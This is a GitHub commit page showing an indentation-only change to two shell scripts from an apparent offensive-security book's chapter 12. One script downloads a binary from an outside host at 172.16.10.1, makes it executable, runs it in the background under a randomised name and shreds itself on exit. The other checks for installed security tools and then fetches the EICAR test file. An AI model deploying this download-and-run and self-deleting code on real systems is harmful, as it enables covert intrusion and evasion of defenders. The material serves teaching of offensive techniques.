Skip to content

Commit

Permalink
2 spaces
Browse files Browse the repository at this point in the history
  • Loading branch information
dolevf committed Dec 3, 2023
1 parent 517a727 commit 264aedf
Show file tree
Hide file tree
Showing 2 changed files with 50 additions and 48 deletions.
14 changes: 7 additions & 7 deletions ch12/binary_name_rotation.sh
Original file line number Diff line number Diff line change
Expand Up @@ -6,16 +6,16 @@ BIN_FILE="${RANDOM_BIN_NAMES[${RANDOMIZE}]}"
FULL_BIN_PATH="${WORK_DIR}/${BIN_FILE}"

self_remove(){
shred -u -- "$(basename $0)" && rm -- "${FULL_BIN_PATH}"
shred -u -- "$(basename $0)" && rm -- "${FULL_BIN_PATH}"
}

if command -v curl 1> /dev/null; then
curl -s "http://172.16.10.1/system_sleep" -o "${FULL_BIN_PATH}"
if [[ -s "${FULL_BIN_PATH}" ]]; then
chmod +x "${FULL_BIN_PATH}"
export PATH="${WORK_DIR}:${PATH}"
nohup "${BIN_FILE}" &> /dev/null &
fi
curl -s "http://172.16.10.1/system_sleep" -o "${FULL_BIN_PATH}"
if [[ -s "${FULL_BIN_PATH}" ]]; then
chmod +x "${FULL_BIN_PATH}"
export PATH="${WORK_DIR}:${PATH}"
nohup "${BIN_FILE}" &> /dev/null &
fi
fi

trap self_remove EXIT
84 changes: 43 additions & 41 deletions ch12/exercise_solution.sh
Original file line number Diff line number Diff line change
Expand Up @@ -2,64 +2,66 @@
REPORT_NAME="security_tool_scanner-$(date +%d-%m-%y).txt"

check(){
local tool
local check_type
local indicator
local result
local tool
local check_type
local indicator
local result

tool="${1}"
check_type="${2}"
indicator="${3}"
result="false"
tool="${1}"
check_type="${2}"
indicator="${3}"
result="false"

case "${check_type}" in
file|directory)
if check_file_or_directory "${indicator}"; then
result="true"
fi
;;
process)
if check_process "${indicator}"; then
result="true"
fi
;;
esac
case "${check_type}" in
file|directory)
if check_file_or_directory "${indicator}"; then
result="true"
fi
;;
process)
if check_process "${indicator}"; then
result="true"
fi
;;
esac

if [[ "${result}" == "true" ]]; then
generate_report "${tool}" "${check_type}" "${indicator}"
fi
if [[ "${result}" == "true" ]]; then
generate_report "${tool}" "${check_type}" "${indicator}"
fi
}

check_process(){
local process_name
process_name="${1}"
local process_name
process_name="${1}"

if pgrep "${process_name}"; then
return 0
fi
return 1
if pgrep "${process_name}"; then
return 0
fi

return 1
}

check_file_or_directory(){
local name
name="${1}"
local name
name="${1}"

if [[ -e "${name}" ]]; then
return 0
fi
return 1
if [[ -e "${name}" ]]; then
return 0
fi

return 1
}

download_eicar_file(){
wget -q "https://secure.eicar.org/eicar.com.txt"
wget -q "https://secure.eicar.org/eicar.com.txt"
}

generate_report(){
if [[ ! -f "${REPORT_NAME}" ]]; then
echo "tool, check_type, indicator" > "${REPORT_NAME}"
fi
if [[ ! -f "${REPORT_NAME}" ]]; then
echo "tool, check_type, indicator" > "${REPORT_NAME}"
fi

echo "${1}, ${2}, ${3}" >> "${REPORT_NAME}"
echo "${1}, ${2}, ${3}" >> "${REPORT_NAME}"
}


Expand All @@ -79,5 +81,5 @@ check fluentbit directory /etc/fluent-bit
check rkhunter file /etc/rkhunter

if [[ -f "${REPORT_NAME}" ]]; then
download_eicar_file
download_eicar_file
fi

0 comments on commit 264aedf

Please sign in to comment.